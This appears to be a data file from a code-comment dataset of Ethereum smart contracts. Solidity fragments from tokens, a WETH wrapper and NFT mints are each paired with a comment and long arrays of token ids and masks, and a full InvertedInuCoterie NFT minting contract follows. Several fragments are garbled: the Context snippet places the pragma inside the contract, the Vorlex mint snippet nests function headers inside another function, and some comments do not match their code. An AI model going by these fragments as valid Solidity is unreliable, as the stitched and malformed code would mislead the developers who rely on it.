return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external {
require(_msgSender() == _FeeAddress);
if (maxTxAmount > 1000000000) {
_maxTxAmount = maxTxAmount * 10**9;
}
}
function _setSellTax(uint256 sellTax) external {
require(_msgSender() == _FeeAddress);
require(sellTax < 10);
_sellTax = sellTax;
}
function getTaxRate() public view returns (uint) {
return _sellTax;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
SPDX-License-Identifier: MIT
|
abstract contract Context {
pragma solidity ^0.8.9;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
| 2,298,305 |
[
1,
3118,
28826,
17,
13211,
17,
3004,
30,
490,
1285,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
17801,
6835,
1772,
288,
203,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
29,
31,
203,
565,
445,
389,
3576,
12021,
1435,
2713,
1476,
5024,
1135,
261,
2867,
13,
288,
203,
3639,
327,
1234,
18,
15330,
31,
203,
565,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/137/0x29F0D52b22ac98f33335044b8183be54c154C7B5/sources/babymatic.sol
|
how much ETH did we just swap into?
|
function swapAndSendToMarketing(uint256 tokens) private lockTheSwap {
uint256 initialBalance = address(this).balance;
swapTokensForEth(tokens);
uint256 newBalance = address(this).balance.sub(initialBalance);
uint256 feeSplit = newBalance.div(2);
_marketingWallet.transfer(feeSplit);
_devWallet.transfer(feeSplit);
}
| 4,732,605 |
[
1,
13606,
9816,
512,
2455,
5061,
732,
2537,
7720,
1368,
35,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
377,
445,
7720,
1876,
3826,
774,
3882,
21747,
12,
11890,
5034,
2430,
13,
3238,
2176,
1986,
12521,
288,
203,
7010,
3639,
2254,
5034,
2172,
13937,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
7010,
3639,
7720,
5157,
1290,
41,
451,
12,
7860,
1769,
203,
3639,
2254,
5034,
394,
13937,
273,
1758,
12,
2211,
2934,
12296,
18,
1717,
12,
6769,
13937,
1769,
203,
3639,
2254,
5034,
14036,
5521,
273,
394,
13937,
18,
2892,
12,
22,
1769,
203,
540,
389,
3355,
21747,
16936,
18,
13866,
12,
21386,
5521,
1769,
7010,
540,
389,
5206,
16936,
18,
13866,
12,
21386,
5521,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0x37A9981a95bC2494eC25bfe3eBc66Af1E08DCacD/sources/ERC20Token.sol
|
Set the name for display purposes
|
name = "American Bank Token";
| 5,220,369 |
[
1,
694,
326,
508,
364,
2562,
13694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
508,
273,
315,
9864,
3036,
304,
25610,
3155,
14432,
4766,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x000000000aDac1dE790E7C635887cFA7C40c161d/sources/src/optimized/WethConverter.sol
|
* @dev Internal function to wrap native tokens to WETH if the converter's current WETH balance is insufficient. @param requiredAmount The amount of WETH required for the order./ Retrieve the current wrapped balance. Get the WETH address from the WETH interface. Save the 4-byte balanceOf selector in the first word of memory. Save the address of this contract in the second word of memory. Call balanceOf on the WETH contract and check if call was successful. Store the CallFailed error selector in memory. Revert with the error selector. Wrap if native balance is insufficient. Retrieve the native token balance. Derive the amount to wrap, targeting eventual 50/50 split. Wrap in unchecked block because ETH token supply won't exceed 2 ** 256. Wrap half of (entire weth converter balance + required amount) to target 50/50 split Reduce the amount to wrap if it exceeds the native balance. Perform the wrap and check if call was successful. If call failed, save the 4-byte CallFailed selector in memory. Revert with the error selector.
|
function _wrapIfNecessary(uint256 requiredAmount) internal {
uint256 currentWrappedBalance;
address weth = address(_WETH);
assembly ("memory-safe") {
mstore(0, Weth_BalanceOf_selector)
mstore(0x20, address())
if iszero(staticcall(gas(), weth, 0x1c, 0x24, 0, 0x20)) {
mstore(0, CallFailed_error_selector)
revert(0x1c, 0x04)
}
}
if (requiredAmount > currentWrappedBalance) {
uint256 currentNativeBalance = address(this).balance;
uint256 amountToWrap;
unchecked {
amountToWrap =
(currentNativeBalance +
currentWrappedBalance +
requiredAmount) /
2;
}
if (amountToWrap > currentNativeBalance) {
amountToWrap = currentNativeBalance;
}
assembly {
if iszero(call(gas(), weth, amountToWrap, 0, 0, 0, 0)) {
mstore(0, CallFailed_error_selector)
revert(0x1c, 0x04)
}
}
}
}
| 4,080,754 |
[
1,
3061,
445,
358,
2193,
6448,
2430,
358,
678,
1584,
44,
309,
326,
6027,
1807,
1377,
783,
678,
1584,
44,
11013,
353,
2763,
11339,
18,
225,
1931,
6275,
1021,
3844,
434,
678,
1584,
44,
1931,
364,
326,
1353,
18,
19,
10708,
326,
783,
5805,
11013,
18,
968,
326,
678,
1584,
44,
1758,
628,
326,
678,
1584,
44,
1560,
18,
7074,
326,
1059,
17,
7229,
11013,
951,
3451,
316,
326,
1122,
2076,
434,
3778,
18,
7074,
326,
1758,
434,
333,
6835,
316,
326,
2205,
2076,
434,
3778,
18,
3049,
11013,
951,
603,
326,
678,
1584,
44,
6835,
471,
866,
309,
745,
1703,
6873,
18,
4994,
326,
3049,
2925,
555,
3451,
316,
3778,
18,
868,
1097,
598,
326,
555,
3451,
18,
4266,
309,
6448,
11013,
353,
2763,
11339,
18,
10708,
326,
6448,
1147,
11013,
18,
14969,
688,
326,
3844,
358,
2193,
16,
31490,
871,
1462,
6437,
19,
3361,
1416,
18,
4266,
2
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
[
1,
565,
445,
389,
4113,
26034,
12,
11890,
5034,
1931,
6275,
13,
2713,
288,
203,
3639,
2254,
5034,
783,
17665,
13937,
31,
203,
203,
3639,
1758,
341,
546,
273,
1758,
24899,
59,
1584,
44,
1769,
203,
203,
3639,
19931,
7566,
7858,
17,
4626,
7923,
288,
203,
5411,
312,
2233,
12,
20,
16,
678,
546,
67,
13937,
951,
67,
9663,
13,
203,
203,
5411,
312,
2233,
12,
20,
92,
3462,
16,
1758,
10756,
203,
203,
5411,
309,
353,
7124,
12,
3845,
1991,
12,
31604,
9334,
341,
546,
16,
374,
92,
21,
71,
16,
374,
92,
3247,
16,
374,
16,
374,
92,
3462,
3719,
288,
203,
7734,
312,
2233,
12,
20,
16,
3049,
2925,
67,
1636,
67,
9663,
13,
203,
203,
7734,
15226,
12,
20,
92,
21,
71,
16,
374,
92,
3028,
13,
203,
5411,
289,
203,
203,
3639,
289,
203,
203,
3639,
309,
261,
4718,
6275,
405,
783,
17665,
13937,
13,
288,
203,
5411,
2254,
5034,
783,
9220,
13937,
273,
1758,
12,
2211,
2934,
12296,
31,
203,
203,
5411,
2254,
5034,
3844,
774,
2964,
31,
203,
203,
5411,
22893,
288,
203,
7734,
3844,
774,
2964,
273,
203,
10792,
261,
2972,
9220,
13937,
397,
203,
13491,
783,
17665,
13937,
397,
203,
13491,
1931,
6275,
13,
342,
203,
10792,
576,
31,
203,
5411,
289,
203,
203,
5411,
309,
261,
8949,
774,
2964,
405,
783,
9220,
13937,
13,
288,
203,
7734,
3844,
774,
2964,
273,
783,
9220,
13937,
31,
203,
5411,
289,
203,
203,
5411,
19931,
288,
203,
7734,
309,
353,
7124,
12,
1991,
12,
31604,
9334,
341,
546,
2
] |
./partial_match/1/0xF4E62227008EC622D973A65f8EafBf253B5f7589/sources/RYOUSHIN.sol
|
0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3 0x10ED43C718714eb63d5aA57B78B54704E256024E Create a uniswap pair for this new token set the rest of the contract variablesexclude owner and this contract from fee
|
constructor () {
_rOwned[owner()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
| 4,255,048 |
[
1,
20,
92,
29,
9988,
1105,
39,
71,
26,
73,
6334,
3600,
25339,
39,
24,
2539,
18096,
28,
41,
8875,
6418,
2954,
69,
2539,
26,
4630,
73,
25,
71,
23,
374,
92,
2163,
2056,
8942,
39,
27,
2643,
27,
3461,
24008,
4449,
72,
25,
69,
37,
10321,
38,
8285,
38,
6564,
27,
3028,
41,
5034,
3103,
24,
41,
1788,
279,
640,
291,
91,
438,
3082,
364,
333,
394,
1147,
444,
326,
3127,
434,
326,
6835,
3152,
10157,
3410,
471,
333,
6835,
628,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1832,
288,
203,
3639,
389,
86,
5460,
329,
63,
8443,
1435,
65,
273,
389,
86,
5269,
31,
203,
540,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
20,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
540,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
8443,
1435,
65,
273,
638,
31,
203,
3639,
389,
291,
16461,
1265,
14667,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
540,
203,
3639,
3626,
12279,
12,
2867,
12,
20,
3631,
3410,
9334,
389,
88,
5269,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0xdc5a6a832357Cb03c028931B78c5924375F015f6/sources/contracts/Vorlex.sol
|
* @dev Mints a single Vorlex NFT :: Only by MINTER @dev If Vorlex already exists, additional tokens are minted, no data is altered; @param ipfs IPFS hash of Vorlex @param custodian Vorlex Custodian :: Physical owner and custodian of vorlex who receives royalties for transaction @param amount Amount of tokens to be minted for the Vorlex NFT @param vorlex_data JSON Information of Vorlex/
|
) external {
require(hasRole(MINTER_ROLE, msg.sender), "NOT_MINTER");
uint256 new_vorlex = _minted_vorlexes[ipfs];
function outFundContract(
uint256 amount, address receiver, string memory metadata
}
function setMinSale(uint256 new_min_sale)
}
function mint(
string memory ipfs, address custodian,
uint256 amount, uint256 expiry, string memory vorlex_data
if(new_vorlex == 0){
_vorlex_count.increment();
new_vorlex = _vorlex_count.current();
_minted_vorlexes[ipfs] = new_vorlex;
vorlexes[new_vorlex] = Vorlexy(ipfs, custodian, amount, expiry, vorlex_data);
}
_mint(custodian, new_vorlex, amount, "");
emit Minted(new_vorlex, ipfs, custodian, amount, vorlex_data);
}
| 7,125,922 |
[
1,
49,
28142,
279,
2202,
776,
280,
4149,
423,
4464,
493,
5098,
635,
6989,
2560,
225,
971,
776,
280,
4149,
1818,
1704,
16,
3312,
2430,
854,
312,
474,
329,
16,
1158,
501,
353,
22349,
31,
225,
2359,
2556,
2971,
4931,
1651,
434,
776,
280,
4149,
225,
276,
641,
369,
2779,
776,
280,
4149,
385,
641,
369,
2779,
493,
19712,
3410,
471,
276,
641,
369,
2779,
434,
28561,
4149,
10354,
17024,
721,
93,
2390,
606,
364,
2492,
225,
3844,
16811,
434,
2430,
358,
506,
312,
474,
329,
364,
326,
776,
280,
4149,
423,
4464,
225,
28561,
4149,
67,
892,
1796,
15353,
434,
776,
280,
4149,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
262,
3903,
288,
203,
3639,
2583,
12,
5332,
2996,
12,
6236,
2560,
67,
16256,
16,
1234,
18,
15330,
3631,
315,
4400,
67,
6236,
2560,
8863,
203,
3639,
2254,
5034,
394,
67,
90,
280,
4149,
273,
389,
81,
474,
329,
67,
90,
280,
4149,
281,
63,
625,
2556,
15533,
203,
565,
445,
596,
42,
1074,
8924,
12,
203,
3639,
2254,
5034,
3844,
16,
1758,
5971,
16,
533,
3778,
1982,
203,
565,
289,
203,
203,
203,
565,
445,
27724,
30746,
12,
11890,
5034,
394,
67,
1154,
67,
87,
5349,
13,
7010,
565,
289,
203,
203,
202,
915,
312,
474,
12,
203,
3639,
533,
3778,
2359,
2556,
16,
1758,
276,
641,
369,
2779,
16,
7010,
3639,
2254,
5034,
3844,
16,
2254,
5034,
10839,
16,
533,
3778,
28561,
4149,
67,
892,
7010,
540,
309,
12,
2704,
67,
90,
280,
4149,
422,
374,
15329,
203,
5411,
389,
90,
280,
4149,
67,
1883,
18,
15016,
5621,
203,
5411,
394,
67,
90,
280,
4149,
273,
389,
90,
280,
4149,
67,
1883,
18,
2972,
5621,
203,
5411,
389,
81,
474,
329,
67,
90,
280,
4149,
281,
63,
625,
2556,
65,
273,
394,
67,
90,
280,
4149,
31,
203,
5411,
28561,
4149,
281,
63,
2704,
67,
90,
280,
4149,
65,
273,
776,
280,
298,
1698,
12,
625,
2556,
16,
276,
641,
369,
2779,
16,
3844,
16,
10839,
16,
28561,
4149,
67,
892,
1769,
203,
3639,
289,
203,
3639,
389,
81,
474,
12,
71,
641,
369,
2779,
16,
394,
67,
90,
280,
4149,
16,
3844,
16,
1408,
1769,
203,
3639,
3626,
490,
474,
2
] |
pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title InvertedInuCoterie contract
* @dev Extends ERC721 Non-Fungible Token Standard basic implementation
*/
contract InvertedInuCoterie is ERC721, Ownable {
using SafeMath for uint256;
/**
* @dev Emitted when `tokenId` token is sold from `from` to `to`.
*/
event Sold(address indexed from, address indexed to, uint256 indexed tokenId, uint256 price);
string public INVERTED_PROVENANCE = "";
uint256 public constant dogPrice = 10000000000000000; // 0.01 ETH
uint public constant MAX_DOGS = 10000;
address public BAKC_ADDRESS;
address public IAPE_ADDRESS;
// Mapping from tokenId to sale price.
mapping(uint256 => uint256) public tokenPrices;
// Mapping from tokenId to token owner that set the sale price.
mapping(uint256 => address) public priceSetters;
constructor(string memory name, string memory symbol, address ogAddress, address invertedAddress) ERC721(name, symbol) {
BAKC_ADDRESS = ogAddress;
IAPE_ADDRESS = invertedAddress;
_setBaseURI('ipfs://QmaV8sZ6oc9YFyADPg8U87irpniXmDAbHXup1JEGcdpUKv/');
}
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
/*
* Set provenance once it's calculated
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
INVERTED_PROVENANCE = provenanceHash;
}
/**
* Mints
*/
function mintDog(uint256[] memory tokenIds) public payable {
require(totalSupply().add(tokenIds.length) <= MAX_DOGS, "would exceed max supply of Dogs");
ERC721 bakc = ERC721(BAKC_ADDRESS);
for (uint i=0; i < tokenIds.length; i++) {
require(
(bakc.ownerOf(tokenIds[i]) == msg.sender),
"must own the BAKC dog rights"
);
}
ERC721 invertedApeClub = ERC721(IAPE_ADDRESS);
if (invertedApeClub.balanceOf(msg.sender) == 0) {
require(dogPrice.mul(tokenIds.length) <= msg.value, "Ether value sent is not correct");
}
for (uint i=0; i < tokenIds.length; i++) {
if (totalSupply() < MAX_DOGS) {
_safeMint(msg.sender, tokenIds[i]);
}
}
}
